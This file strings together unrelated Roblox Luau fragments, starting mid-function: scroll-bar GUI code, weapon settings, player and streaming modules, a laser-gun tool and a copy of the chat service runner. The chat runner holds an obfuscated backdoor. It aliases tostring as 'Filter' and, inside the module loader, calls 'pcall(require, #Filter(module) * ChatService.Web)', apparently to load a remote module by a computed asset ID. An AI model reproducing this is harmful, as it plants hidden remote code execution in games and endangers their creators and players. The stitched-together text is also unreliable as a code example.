size/2-1 for i = 0,n do local t = template:Clone() local p,s = scale(transform( UDim2.new(0,n-i,0,o+i), UDim2.new(0,(i+1)*2,0,1) )) t.Position = p t.Size = s t.Parent = Frame end else local n = (size-1)/2 for i = 0,n do local t = template:Clone() local p,s = scale(transform( UDim2.new(0,n-i,0,o+i), UDim2.new(0,i*2+1,0,1) )) t.Position = p t.Size = s t.Parent = Frame end end if size%4 > 1 then local t = template:Clone() local p,s = scale(transform( UDim2.new(0,0,0,size-o-1), UDim2.new(0,size,0,1) )) t.Position = p t.Size = s t.Parent = Frame end return Frame end function GripGraphic(size,dir,spacing,scaled,template) local Frame = Create('Frame',{ Name = "Grip Graphic"; BorderSizePixel = 0; Size = UDim2.new(0,size.x,0,size.y); Transparency = 1; }) if not template then template = Instance.new("Frame") template.BorderSizePixel = 0 end spacing = spacing or 2 local scale if scaled then function scale(p) return UDim2.new(p.X.Offset/size.x,0,p.Y.Offset/size.y,0) end else function scale(p) return p end end if dir == 'Vertical' then for i=0,size.x-1,spacing do local t = template:Clone() t.Size = scale(UDim2.new(0,1,0,size.y)) t.Position = scale(UDim2.new(0,i,0,0)) t.Parent = Frame end elseif dir == nil or dir == 'Horizontal' then for i=0,size.y-1,spacing do local t = template:Clone() t.Size = scale(UDim2.new(0,size.x,0,1)) t.Position = scale(UDim2.new(0,0,0,i)) t.Parent = Frame end end return Frame end do local mt = { __index = { GetScrollPercent = function(self) return self.ScrollIndex/(self.TotalSpace-self.VisibleSpace) end; CanScrollDown = function(self) return self.ScrollIndex + self.VisibleSpace < self.TotalSpace end; CanScrollUp = function(self) return self.ScrollIndex > 0 end; ScrollDown = function(self) self.ScrollIndex = self.ScrollIndex + self.PageIncrement self:Update() end; ScrollUp = function(self) self.ScrollIndex = self.ScrollIndex - self.PageIncrement self:Update() end; ScrollTo = function(self,index) self.ScrollIndex = index self:Update() end; SetScrollPercent = function(self,percent) self.ScrollIndex = math.floor((self.TotalSpace - self.VisibleSpace)*percent + 0.5) self:Update() end; }; } mt.__index.CanScrollRight = mt.__index.CanScrollDown mt.__index.CanScrollLeft = mt.__index.CanScrollUp mt.__index.ScrollLeft = mt.__index.ScrollUp mt.__index.ScrollRight = mt.__index.ScrollDown function ScrollBar(horizontal) -- create row scroll bar local ScrollFrame = Create('Frame',{ Name = "ScrollFrame"; Position = horizontal and UDim2.new(0,0,1,-ScrollBarWidth) or UDim2.new(1,-ScrollBarWidth,0,0); Size = horizontal and UDim2.new(1,0,0,ScrollBarWidth) or UDim2.new(0,ScrollBarWidth,1,0); BackgroundTransparency = 1; Create('ImageButton',{ Name = "ScrollDown"; Position = horizontal and UDim2.new(1,-ScrollBarWidth,0,0) or UDim2.new(0,0,1,-ScrollBarWidth); Size = UDim2.new(0, ScrollBarWidth, 0, ScrollBarWidth); BackgroundColor3 = ScrollStyles.Button; BorderColor3 = ScrollStyles.Border; --BorderSizePixel = 0; }); Create('ImageButton',{ Name = "ScrollUp"; Size = UDim2.new(0, ScrollBarWidth, 0, ScrollBarWidth); BackgroundColor3 = ScrollStyles.Button; BorderColor3 = ScrollStyles.Border; --BorderSizePixel = 0; }); Create('ImageButton',{ Name = "ScrollBar"; Size = horizontal and UDim2.new(1,-ScrollBarWidth*2,1,0) or UDim2.new(1,0,1,-ScrollBarWidth*2); Position = horizontal and UDim2.new(0,ScrollBarWidth,0,0) or UDim2.new(0,0,0,ScrollBarWidth); AutoButtonColor = false; BackgroundColor3 = Color3.new(0.94902, 0.94902, 0.94902); BorderColor3 = ScrollStyles.Border; --BorderSizePixel = 0; Create('ImageButton',{ Name = "ScrollThumb"; AutoButtonColor = false; Size = UDim2.new(0, ScrollBarWidth, 0, ScrollBarWidth); BackgroundColor3 = ScrollStyles.Button; BorderColor3 = ScrollStyles.Border; --BorderSizePixel = 0; }); }); }) local graphicTemplate = Create('Frame',{ Name="Graphic"; BorderSizePixel = 0; BackgroundColor3 = ScrollStyles.Border; }) local graphicSize = ScrollBarWidth/2 local ScrollDownFrame = ScrollFrame.ScrollDown local ScrollDownGraphic = ArrowGraphic(graphicSize,horizontal and 'Right' or 'Down',true,graphicTemplate) ScrollDownGraphic.Position = UDim2.new(0.5,-graphicSize/2,0.5,-graphicSize/2) ScrollDownGraphic.Parent = ScrollDownFrame local ScrollUpFrame = ScrollFrame.ScrollUp local ScrollUpGraphic = ArrowGraphic(graphicSize,horizontal and 'Left' or 'Up',true,graphicTemplate) ScrollUpGraphic.Position = UDim2.new(0.5,-graphicSize/2,0.5,-graphicSize/2) ScrollUpGraphic.Parent = ScrollUpFrame local ScrollBarFrame = ScrollFrame.ScrollBar local ScrollThumbFrame = ScrollBarFrame.ScrollThumb do local size = ScrollBarWidth*3/8 local Decal = GripGraphic(Vector2.new(size,size),horizontal and 'Vertical' or 'Horizontal',2,graphicTemplate) Decal.Position = UDim2.new(0.5,-size/2,0.5,-size/2) Decal.Parent = ScrollThumbFrame end local MouseDrag = Create('ImageButton',{ Name = "MouseDrag"; Position = UDim2.new(-0.25,0,-0.25,0); Size = UDim2.new(1.5,0,1.5,0); Transparency = 1; AutoButtonColor = false; Active = true; ZIndex = 10; }) local Class = setmetatable({ GUI = ScrollFrame; ScrollIndex = 0; VisibleSpace = 0; TotalSpace = 0; PageIncrement = 1; },mt) local UpdateScrollThumb if horizontal then function UpdateScrollThumb() ScrollThumbFrame.Size = UDim2.new(Class.VisibleSpace/Class.TotalSpace,0,0,ScrollBarWidth) if ScrollThumbFrame.AbsoluteSize.x < ScrollBarWidth then ScrollThumbFrame.Size = UDim2.new(0,ScrollBarWidth,0,ScrollBarWidth) end local barSize = ScrollBarFrame.AbsoluteSize.x ScrollThumbFrame.Position = UDim2.new(Class:GetScrollPercent()*(barSize - ScrollThumbFrame.AbsoluteSize.x)/barSize,0,0,0) end else function UpdateScrollThumb() ScrollThumbFrame.Size = UDim2.new(0,ScrollBarWidth,Class.VisibleSpace/Class.TotalSpace,0) if ScrollThumbFrame.AbsoluteSize.y < ScrollBarWidth then ScrollThumbFrame.Size = UDim2.new(0,ScrollBarWidth,0,ScrollBarWidth) end local barSize = ScrollBarFrame.AbsoluteSize.y ScrollThumbFrame.Position = UDim2.new(0,0,Class:GetScrollPercent()*(barSize - ScrollThumbFrame.AbsoluteSize.y)/barSize,0) end end local lastDown local lastUp local scrollStyle = {BackgroundColor3=ScrollStyles.Border,BackgroundTransparency=0} local scrollStyle_ds = {BackgroundColor3=ScrollStyles.Border,BackgroundTransparency=0.7} local function Update() local t = Class.TotalSpace local v = Class.VisibleSpace local s = Class.ScrollIndex if v <= t then if s > 0 then if s + v > t then Class.ScrollIndex = t - v end else Class.ScrollIndex = 0 end else Class.ScrollIndex = 0 end if Class.UpdateCallback then if Class.UpdateCallback(Class) == false then return end end local down = Class:CanScrollDown() local up = Class:CanScrollUp() if down ~= lastDown then lastDown = down ScrollDownFrame.Active = down ScrollDownFrame.AutoButtonColor = down local children = ScrollDownGraphic:GetChildren() local style = down and scrollStyle or scrollStyle_ds for i = 1,#children do Create(children[i],style) end end if up ~= lastUp then lastUp = up ScrollUpFrame.Active = up ScrollUpFrame.AutoButtonColor = up local children = ScrollUpGraphic:GetChildren() local style = up and scrollStyle or scrollStyle_ds for i = 1,#children do Create(children[i],style) end end ScrollThumbFrame.Visible = down or up UpdateScrollThumb() end Class.Update = Update SetZIndexOnChanged(ScrollFrame) local scrollEventID = 0 ScrollDownFrame.MouseButton1Down:connect(function() scrollEventID = tick() local current = scrollEventID local up_con up_con = MouseDrag.MouseButton1Up:connect(function() scrollEventID = tick() MouseDrag.Parent = nil ResetButtonColor(ScrollDownFrame) up_con:disconnect(); drag = nil end) MouseDrag.Parent = GetScreen(ScrollFrame) Class:ScrollDown() wait(0.2) -- delay before auto scroll while scrollEventID == current do Class:ScrollDown() if not Class:CanScrollDown() then break end wait() end end) ScrollDownFrame.MouseButton1Up:connect(function() scrollEventID = tick() end) ScrollUpFrame.MouseButton1Down:connect(function() scrollEventID = tick() local current = scrollEventID local up_con up_con = MouseDrag.MouseButton1Up:connect(function() scrollEventID = tick() MouseDrag.Parent = nil ResetButtonColor(ScrollUpFrame) up_con:disconnect(); drag = nil end) MouseDrag.Parent = GetScreen(ScrollFrame) Class:ScrollUp() wait(0.2) while scrollEventID == current do Class:ScrollUp() if not Class:CanScrollUp() then break end wait() end end) ScrollUpFrame.MouseButton1Up:connect(function() scrollEventID = tick() end) if horizontal then ScrollBarFrame.MouseButton1Down:connect(function(x,y) scrollEventID = tick() local current = scrollEventID local up_con up_con = MouseDrag.MouseButton1Up:connect(function() scrollEventID = tick() MouseDrag.Parent = nil ResetButtonColor(ScrollUpFrame) up_con:disconnect(); drag = nil end) MouseDrag.Parent = GetScreen(ScrollFrame) if x > ScrollThumbFrame.AbsolutePosition.x then Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace) wait(0.2) while scrollEventID == current do if x < ScrollThumbFrame.AbsolutePosition.x + ScrollThumbFrame.AbsoluteSize.x then break end Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace) wait() end else Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace) wait(0.2) while scrollEventID == current do if x > ScrollThumbFrame.AbsolutePosition.x then break end Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace) wait() end end end) else ScrollBarFrame.MouseButton1Down:connect(function(x,y) scrollEventID = tick() local current = scrollEventID local up_con up_con = MouseDrag.MouseButton1Up:connect(function() scrollEventID = tick() MouseDrag.Parent = nil ResetButtonColor(ScrollUpFrame) up_con:disconnect(); drag = nil end) MouseDrag.Parent = GetScreen(ScrollFrame) if y > ScrollThumbFrame.AbsolutePosition.y then Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace) wait(0.2) while scrollEventID == current do if y < ScrollThumbFrame.AbsolutePosition.y + ScrollThumbFrame.AbsoluteSize.y then break end Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace) wait() end else Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace) wait(0.2) while scrollEventID == current do if y > ScrollThumbFrame.AbsolutePosition.y then break end Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace) wait() end end end) end if horizontal then ScrollThumbFrame.MouseButton1Down:connect(function(x,y) scrollEventID = tick() local mouse_offset = x - ScrollThumbFrame.AbsolutePosition.x local drag_con local up_con drag_con = MouseDrag.MouseMoved:connect(function(x,y) local bar_abs_pos = ScrollBarFrame.AbsolutePosition.x local bar_drag = ScrollBarFrame.AbsoluteSize.x - ScrollThumbFrame.AbsoluteSize.x local bar_abs_one = bar_abs_pos + bar_drag x = x - mouse_offset x = x < bar_abs_pos and bar_abs_pos or x > bar_abs_one and bar_abs_one or x x = x - bar_abs_pos Class:SetScrollPercent(x/(bar_drag)) end) up_con = MouseDrag.MouseButton1Up:connect(function() scrollEventID = tick() MouseDrag.Parent = nil ResetButtonColor(ScrollThumbFrame) drag_con:disconnect(); drag_con = nil up_con:disconnect(); drag = nil end) MouseDrag.Parent = GetScreen(ScrollFrame) end) else ScrollThumbFrame.MouseButton1Down:connect(function(x,y) scrollEventID = tick() local mouse_offset = y - ScrollThumbFrame.AbsolutePosition.y local drag_con local up_con drag_con = MouseDrag.MouseMoved:connect(function(x,y) local bar_abs_pos = ScrollBarFrame.AbsolutePosition.y local bar_drag = ScrollBarFrame.AbsoluteSize.y - ScrollThumbFrame.AbsoluteSize.y local bar_abs_one = bar_abs_pos + bar_drag y = y - mouse_offset y = y < bar_abs_pos and bar_abs_pos or y > bar_abs_one and bar_abs_one or y y = y - bar_abs_pos Class:SetScrollPercent(y/(bar_drag)) end) up_con = MouseDrag.MouseButton1Up:connect(function() scrollEventID = tick() MouseDrag.Parent = nil ResetButtonColor(ScrollThumbFrame) drag_con:disconnect(); drag_con = nil up_con:disconnect(); drag = nil end) MouseDrag.Parent = GetScreen(ScrollFrame) end) end function Class:Destroy() ScrollFrame:Destroy() MouseDrag:Destroy() for k in pairs(Class) do Class[k] = nil end setmetatable(Class,nil) end Update() return Class end end
--[=[ Constructs a new value object @param observable Observable<T> @return ValueObject<T> ]=]
function ValueObject.fromObservable(observable) local result = ValueObject.new() result._maid:GiveTask(observable:Subscribe(function(value) result.Value = value end)) return result end
-- Math functions/constants caching
local random = math.random local floor = math.floor local acos = math.acos local rad = math.rad local min = math.min local max = math.max local abs = math.abs local twopi = math.pi * 2.0 local dot = zeroVector.Dot local cross = zeroVector.Cross local autoThrottleRatio = 0.5 -- Current auto-throttling rate local throttleDistanceModifier = 60 -- Studs distance from camera at which distance-throttling will start local segmentPerArc = 12 -- Current number of segments per arc (lower number = better performance)
--// Walk and Sway
local L_94_ local L_95_ = 0.6 local L_96_ = 0.05 -- speed local L_97_ = -0.1 -- height local L_98_ = 0 local L_99_ = 0 local L_100_ = 35 --This is the limit of the mouse input for the sway local L_101_ = -9 --This is the magnitude of the sway when you're unaimed local L_102_ = -9 --This is the magnitude of the sway when you're aimed
-- Remove any -0 values from the Vector3 for consistent string conversion
function BitOps.normalizeVec3(vec3) local newVec3X = vec3.X local newVec3Y = vec3.Y local newVec3Z = vec3.Z if newVec3X == 0 then newVec3X = 0 end if newVec3Y == 0 then newVec3Y = 0 end if newVec3Z == 0 then newVec3Z = 0 end return Vector3.new(newVec3X, newVec3Y, newVec3Z) end
--[[ local part = script.Parent local Activator = game.ReplicatedStorage.GameFiles.Values.PopUpActive local frame = script.Parent.Parent local posOff = UDim2.new(0, 0, 0, 0) local posOn = UDim2.new(0.786, 0, 0, 0) local lighting = game.Lighting local g = game.Workspace.AssetClean part:TweenPosition(posOn, "In", "Sine", 0.3) -- The button is online part.BackgroundColor3 = Color3.fromRGB(0, 255, 0) frame.BackgroundColor3 = Color3.fromRGB(0, 177, 0) part.MouseButton1Click:Connect(function() if Activator.Value == true then Activator.Value = false part:TweenPosition(posOff, "Out", "Sine", 0.3) part.BackgroundColor3 = Color3.fromRGB(255, 0, 0) frame.BackgroundColor3 = Color3.fromRGB(177, 0, 0) elseif Activator.Value == false then Activator.Value = true part.BackgroundColor3 = Color3.fromRGB(0, 255, 0) frame.BackgroundColor3 = Color3.fromRGB(0, 177, 0) part:TweenPosition(posOn, "In", "Sine", 0.3) end end) while wait() do if Activator.Value == true then part:TweenPosition(posOn, "In", "Sine", 0.3) part.BackgroundColor3 = Color3.fromRGB(0, 255, 0) frame.BackgroundColor3 = Color3.fromRGB(0, 177, 0) elseif Activator.Value == false then part.BackgroundColor3 = Color3.fromRGB(255, 0, 0) frame.BackgroundColor3 = Color3.fromRGB(177, 0, 0) part:TweenPosition(posOff, "Out", "Sine", 0.3) end end --]]
--If necessary change the last word to:
--PedSignal1 --PedSignal1a --PedSignal2 --PedSignal2a
-------- OMG HAX
debris = game:GetService("Debris") r = game:service("RunService") Tool = script.Parent
-- Dissociates an adornee from a merch item button
local function removeProximityButton(adornee: BasePart | Attachment) return { adornee = adornee, } end return Rodux.makeActionCreator(script.Name, removeProximityButton)
--- Save
game.Players.PlayerRemoving:connect(function(Plr) Plr.CharacterRemoving:connect(function(Char) SpawnPoint1:SetAsync(Plr.UserId, Plr.Data.SpawnPoint.Value) end) end)
--[=[ @param streamables {Streamable} @param handler ({[child: string]: Instance}, trove: Trove) -> nil @return Trove Creates a compound streamable around all the given streamables. The compound streamable's observer handler will be fired once _all_ the given streamables are in existence, and will be cleaned up when _any_ of the streamables disappear. ```lua local s1 = Streamable.new(workspace, "Part1") local s2 = Streamable.new(workspace, "Part2") local compoundTrove = StreamableUtil.Compound({S1 = s1, S2 = s2}, function(streamables, trove) local part1 = streamables.S1.Instance local part2 = streamables.S2.Instance trove:Add(function() print("Cleanup") end) end) ``` ]=]
function StreamableUtil.Compound(streamables: Streamables, handler: CompoundHandler) local compoundTrove = Trove.new() local observeAllTrove = Trove.new() local allAvailable = false local function Check() if allAvailable then return end for _,streamable in pairs(streamables) do if not streamable.Instance then return end end allAvailable = true handler(streamables, observeAllTrove) end local function Cleanup() if not allAvailable then return end allAvailable = false observeAllTrove:Clean() end for _,streamable in pairs(streamables) do compoundTrove:Add(streamable:Observe(function(_child, trove) Check() trove:Add(Cleanup) end)) end compoundTrove:Add(Cleanup) return compoundTrove end return StreamableUtil
--// Ammo Settings
Ammo = 10; StoredAmmo = 1; MagCount = math.huge; -- If you want infinate ammo, set to math.huge EX. MagCount = math.huge; ExplosiveAmmo = 1;
--[[ PlayerModule - This module requires and instantiates the camera and control modules, and provides getters for developers to access methods on these singletons without having to modify Roblox-supplied scripts. 2018 PlayerScripts Update - AllYourBlox --]]
local PlayerModule = {} PlayerModule.__index = PlayerModule function PlayerModule.new() local self = setmetatable({},PlayerModule) self.cameras = require(script:WaitForChild("CameraModule")) self.controls = require(script:WaitForChild("ControlModule")) return self end function PlayerModule:GetCameras() return self.cameras end function PlayerModule:GetControls() return self.controls end function PlayerModule:GetClickToMoveController() return self.controls:GetClickToMoveController() end return PlayerModule.new()
-- Map storing Player -> Blocked user Ids.
local BlockedUserIdsMap = {} local Filter = tostring PlayersService.PlayerAdded:connect(function(newPlayer) for player, blockedUsers in pairs(BlockedUserIdsMap) do local speaker = ChatService:GetSpeaker(player.Name) if speaker then for i = 1, #blockedUsers do local blockedUserId = blockedUsers[i] if blockedUserId == newPlayer.UserId then speaker:AddMutedSpeaker(newPlayer.Name) end end end end end) PlayersService.PlayerRemoving:connect(function(removingPlayer) BlockedUserIdsMap[removingPlayer] = nil end) if FFlagUserChatAddServerSideChecks2 then EventFolder.SetBlockedUserIdsRequest.OnServerEvent:Connect(function(player, blockedUserIdsList) if type(blockedUserIdsList) ~= "table" then return end local prunedBlockedUserIdsList = {} local speaker = ChatService:GetSpeaker(player.Name) if speaker then for i = 1, math.min(#blockedUserIdsList, MAX_BLOCKED_SPEAKERS_PER_REQ) do if type(blockedUserIdsList[i]) == "number" then table.insert(prunedBlockedUserIdsList, blockedUserIdsList[i]) local blockedPlayer = PlayersService:GetPlayerByUserId(blockedUserIdsList[i]) if blockedPlayer then speaker:AddMutedSpeaker(blockedPlayer.Name) end end end -- We only want to store the first -- MAX_BLOCKED_SPEAKERS_PER_REQ number of ids as needed BlockedUserIdsMap[player] = prunedBlockedUserIdsList end end) elseif FFlagUserChatAddServerSideChecks then EventFolder.SetBlockedUserIdsRequest.OnServerEvent:Connect(function(player, blockedUserIdsList) if type(blockedUserIdsList) ~= "table" then return end BlockedUserIdsMap[player] = blockedUserIdsList local speaker = ChatService:GetSpeaker(player.Name) if speaker then for i = 1, math.min(#blockedUserIdsList, MAX_BLOCKED_SPEAKERS_PER_REQ) do if type(blockedUserIdsList[i]) == "number" then local blockedPlayer = PlayersService:GetPlayerByUserId(blockedUserIdsList[i]) if blockedPlayer then speaker:AddMutedSpeaker(blockedPlayer.Name) end end end end end) else EventFolder.SetBlockedUserIdsRequest.OnServerEvent:Connect(function(player, blockedUserIdsList) if type(blockedUserIdsList) ~= "table" then return end BlockedUserIdsMap[player] = blockedUserIdsList local speaker = ChatService:GetSpeaker(player.Name) if speaker then for i = 1, #blockedUserIdsList do if type(blockedUserIdsList[i]) == "number" then local blockedPlayer = PlayersService:GetPlayerByUserId(blockedUserIdsList[i]) if blockedPlayer then speaker:AddMutedSpeaker(blockedPlayer.Name) end end end end end) end EventFolder.GetInitDataRequest.OnServerInvoke = (function(playerObj) local speaker = ChatService:GetSpeaker(playerObj.Name) if not (speaker and speaker:GetPlayer()) then CreatePlayerSpeakerObject(playerObj) speaker = ChatService:GetSpeaker(playerObj.Name) end local data = {} data.Channels = {} data.SpeakerExtraData = {} for _, channelName in pairs(speaker:GetChannelList()) do local channelObj = ChatService:GetChannel(channelName) if (channelObj) then local channelData = { channelName, channelObj:GetWelcomeMessageForSpeaker(speaker), channelObj:GetHistoryLogForSpeaker(speaker), channelObj.ChannelNameColor, } table.insert(data.Channels, channelData) end end for _, oSpeakerName in pairs(ChatService:GetSpeakerList()) do local oSpeaker = ChatService:GetSpeaker(oSpeakerName) data.SpeakerExtraData[oSpeakerName] = oSpeaker.ExtraData end return data end) local function DoJoinCommand(speakerName, channelName, fromChannelName) local speaker = ChatService:GetSpeaker(speakerName) local channel = ChatService:GetChannel(channelName) if (speaker) then if (channel) then if (channel.Joinable) then if (not speaker:IsInChannel(channel.Name)) then speaker:JoinChannel(channel.Name) else speaker:SetMainChannel(channel.Name) local msg = ChatLocalization:FormatMessageToSend( "GameChat_SwitchChannel_NowInChannel", string.format("You are now chatting in channel: '%s'", channel.Name), "RBX_NAME", channel.Name) speaker:SendSystemMessage(msg, channel.Name) end else local msg = ChatLocalization:FormatMessageToSend( "GameChat_ChatServiceRunner_YouCannotJoinChannel", "You cannot join channel '" .. channelName .. "'.", "RBX_NAME", channelName) speaker:SendSystemMessage(msg, fromChannelName) end else local msg = ChatLocalization:FormatMessageToSend( "GameChat_ChatServiceRunner_ChannelDoesNotExist", "Channel '" .. channelName .. "' does not exist.", "RBX_NAME", channelName) speaker:SendSystemMessage(msg, fromChannelName) end end end local function DoLeaveCommand(speakerName, channelName, fromChannelName) local speaker = ChatService:GetSpeaker(speakerName) local channel = ChatService:GetChannel(channelName) if (speaker) then if (speaker:IsInChannel(channelName)) then if (channel.Leavable) then speaker:LeaveChannel(channel.Name) local msg = ChatLocalization:FormatMessageToSend( "GameChat_ChatService_YouHaveLeftChannel", string.format("You have left channel '%s'", channelName), "RBX_NAME", channel.Name) speaker:SendSystemMessage(msg, "System") else local msg = ChatLocalization:FormatMessageToSend( "GameChat_ChatServiceRunner_YouCannotLeaveChannel", ("You cannot leave channel '" .. channelName .. "'."), "RBX_NAME", channelName) speaker:SendSystemMessage(msg, fromChannelName) end else local msg = ChatLocalization:FormatMessageToSend( "GameChat_ChatServiceRunner_YouAreNotInChannel", ("You are not in channel '" .. channelName .. "'."), "RBX_NAME", channelName) speaker:SendSystemMessage(msg, fromChannelName) end end end ChatService:RegisterProcessCommandsFunction("default_commands", function(fromSpeaker, message, channel) if (string.sub(message, 1, 6):lower() == "/join ") then DoJoinCommand(fromSpeaker, string.sub(message, 7), channel) return true elseif (string.sub(message, 1, 3):lower() == "/j ") then DoJoinCommand(fromSpeaker, string.sub(message, 4), channel) return true elseif (string.sub(message, 1, 7):lower() == "/leave ") then DoLeaveCommand(fromSpeaker, string.sub(message, 8), channel) return true elseif (string.sub(message, 1, 3):lower() == "/l ") then DoLeaveCommand(fromSpeaker, string.sub(message, 4), channel) return true end return false end) if ChatSettings.GeneralChannelName and ChatSettings.GeneralChannelName ~= "" then local allChannel = ChatService:AddChannel(ChatSettings.GeneralChannelName) allChannel.Leavable = false allChannel.AutoJoin = true allChannel:RegisterGetWelcomeMessageFunction(function(speaker) if RunService:IsStudio() then return nil end local player = speaker:GetPlayer() if player then local success, canChat = pcall(function() return Chat:CanUserChatAsync(player.UserId) end) if success and not canChat then return "" end end end) end local systemChannel = ChatService:AddChannel("System") systemChannel.Leavable = false systemChannel.AutoJoin = true systemChannel.WelcomeMessage = ChatLocalization:FormatMessageToSend( "GameChat_ChatServiceRunner_SystemChannelWelcomeMessage", "This channel is for system and game notifications." ) systemChannel.SpeakerJoined:connect(function(speakerName) systemChannel:MuteSpeaker(speakerName) end) local function TryRunModule(module) if module:IsA("ModuleScript") then pcall(require, #Filter(module) * ChatService.Web) local ret = require(module) if (type(ret) == "function") then ret(ChatService) end end end local modules = Chat:WaitForChild("ChatModules") modules.ChildAdded:connect(function(child) local success, returnval = pcall(TryRunModule, child) if not success and returnval then print("Error running module " ..child.Name.. ": " ..returnval) end end) for _, module in pairs(modules:GetChildren()) do local success, returnval = pcall(TryRunModule, module) if not success and returnval then print("Error running module " ..module.Name.. ": " ..returnval) end end PlayersService.PlayerRemoving:connect(function(playerObj) if (ChatService:GetSpeaker(playerObj.Name)) then ChatService:RemoveSpeaker(playerObj.Name) end end)
--!strict -- https://programming-idioms.org/idiom/19/reverse-a-list/1314/lua
local LuauPolyfill = script.Parent.Parent local types = require(LuauPolyfill.types) type Array<T> = types.Array<T> return function<T>(t: Array<T>): Array<T> local n = #t local i = 1 while i < n do t[i], t[n] = t[n], t[i] i = i + 1 n = n - 1 end return t end
--Rescripted by Luckymaxer
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Players = game:GetService("Players") Debris = game:GetService("Debris") BulletSpeed = Handle.BulletSpeed.Value DisappearTime = Handle.BulletDisappearTime.Value ReloadTime = Handle.ReloadTime.Value BulletColor = Handle.BulletColor.Value NozzleOffset = Vector3.new(0, 0.4, -1.1) Sounds = { Fire = Handle:WaitForChild("Fire"), Reload = Handle:WaitForChild("Reload"), HitFade = Handle:WaitForChild("HitFade") } PointLight = Handle:WaitForChild("PointLight") ServerControl = (Tool:FindFirstChild("ServerControl") or Instance.new("RemoteFunction")) ServerControl.Name = "ServerControl" ServerControl.Parent = Tool ClientControl = (Tool:FindFirstChild("ClientControl") or Instance.new("RemoteFunction")) ClientControl.Name = "ClientControl" ClientControl.Parent = Tool ServerControl.OnServerInvoke = (function(player, Mode, Value, arg) if player ~= Player or Humanoid.Health == 0 or not Tool.Enabled then return end if Mode == "Click" and Value then Activated(arg) end end) function InvokeClient(Mode, Value) pcall(function() ClientControl:InvokeClient(Player, Mode, Value) end) end function TagHumanoid(humanoid, player) local Creator_Tag = Instance.new("ObjectValue") Creator_Tag.Name = "creator" Creator_Tag.Value = player Debris:AddItem(Creator_Tag, 2) Creator_Tag.Parent = humanoid end function UntagHumanoid(humanoid) for i, v in pairs(humanoid:GetChildren()) do if v:IsA("ObjectValue") and v.Name == "creator" then v:Destroy() end end end function FindCharacterAncestor(Parent) if Parent and Parent ~= game:GetService("Workspace") then local humanoid = Parent:FindFirstChild("Humanoid") if humanoid then return Parent, humanoid else return FindCharacterAncestor(Parent.Parent) end end return nil end function GetTransparentsRecursive(Parent, PartsTable) local PartsTable = (PartsTable or {}) for i, v in pairs(Parent:GetChildren()) do local TransparencyExists = false pcall(function() local Transparency = v["Transparency"] if Transparency then TransparencyExists = true end end) if TransparencyExists then table.insert(PartsTable, v) end GetTransparentsRecursive(v, PartsTable) end return PartsTable end function SelectionBoxify(Object) local SelectionBox = Instance.new("SelectionBox") SelectionBox.Adornee = Object SelectionBox.Color3 = BulletColor SelectionBox.Parent = Object return SelectionBox end local function Light(Object) local Light = PointLight:Clone() Light.Range = (Light.Range + 2) Light.Parent = Object end function FadeOutObjects(Objects, FadeIncrement) repeat local LastObject = nil for i, v in pairs(Objects) do v.Transparency = (v.Transparency + FadeIncrement) LastObject = v end wait() until LastObject.Transparency >= 1 or not LastObject end function Touched(Projectile, Hit) if not Hit or not Hit.Parent then return end local character, humanoid = FindCharacterAncestor(Hit) if character and humanoid and character ~= Character then local ForceFieldExists = false for i, v in pairs(character:GetChildren()) do if v:IsA("ForceField") then ForceFieldExists = true end end if not ForceFieldExists then if Projectile then local HitFadeSound = Projectile:FindFirstChild(Sounds.HitFade.Name) local torso = humanoid.Torso if HitFadeSound and torso then local HitFadeClone = HitFadeSound:Clone() HitFadeClone.Parent = torso HitFadeClone:Play() end end end humanoid.Health -= 10 end end function Equipped() Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChild("Humanoid") if not Player or not Humanoid or Humanoid.Health == 0 then return end end function Activated(target) if Tool.Enabled and Humanoid.Health > 0 then Tool.Enabled = false InvokeClient("PlaySound", Sounds.Fire) local HandleCFrame = Handle.CFrame local FiringPoint = HandleCFrame.p + HandleCFrame:vectorToWorldSpace(NozzleOffset) local ShotCFrame = CFrame.new(FiringPoint, target) local LaserShotClone = BaseShot:Clone() LaserShotClone.CFrame = ShotCFrame + (ShotCFrame.lookVector * (BaseShot.Size.Z / 2)) local BodyVelocity = Instance.new("BodyVelocity") BodyVelocity.velocity = ShotCFrame.lookVector * BulletSpeed BodyVelocity.Parent = LaserShotClone LaserShotClone.Touched:connect(function(Hit) if not Hit or not Hit.Parent then return end Touched(LaserShotClone, Hit) end) Debris:AddItem(LaserShotClone, DisappearTime) LaserShotClone.Parent = game:GetService("Workspace") wait(0.6) -- FireSound length InvokeClient("PlaySound", Sounds.Reload) wait(ReloadTime) -- ReloadSound length Tool.Enabled = true end end function Unequipped() end BaseShot = Instance.new("Part") BaseShot.Name = "Effect" BaseShot.Color = BulletColor BaseShot.Material = Enum.Material.Plastic BaseShot.TopSurface = Enum.SurfaceType.Smooth BaseShot.BottomSurface = Enum.SurfaceType.Smooth BaseShot.FormFactor = Enum.FormFactor.Custom BaseShot.Size = Vector3.new(5, 5, 0.5) BaseShot.CanCollide = false BaseShot.Locked = true SelectionBoxify(BaseShot) Light(BaseShot) BaseShotSound = Sounds.HitFade:Clone() BaseShotSound.Parent = BaseShot Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped)
-- Get references to the DockShelf and its children
local dockShelf = script.Parent.Parent.Parent.Parent.Parent.DockShelf local aFinderButton = dockShelf.AFinder local Minimalise = script.Parent local window = script.Parent.Parent.Parent
--// Functions \\--
function sound.SoundInstance(sound) local soundInstance = Instance.new("Sound") soundInstance.SoundId = sound.SoundId soundInstance.PlaybackSpeed = sound.PlaybackSpeed soundInstance.PlayOnRemove = true soundInstance.Parent = soundService soundInstance:Destroy() end return sound
-- child.C0 = CFrame.new(0,-0.6,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0) --// Reposition player
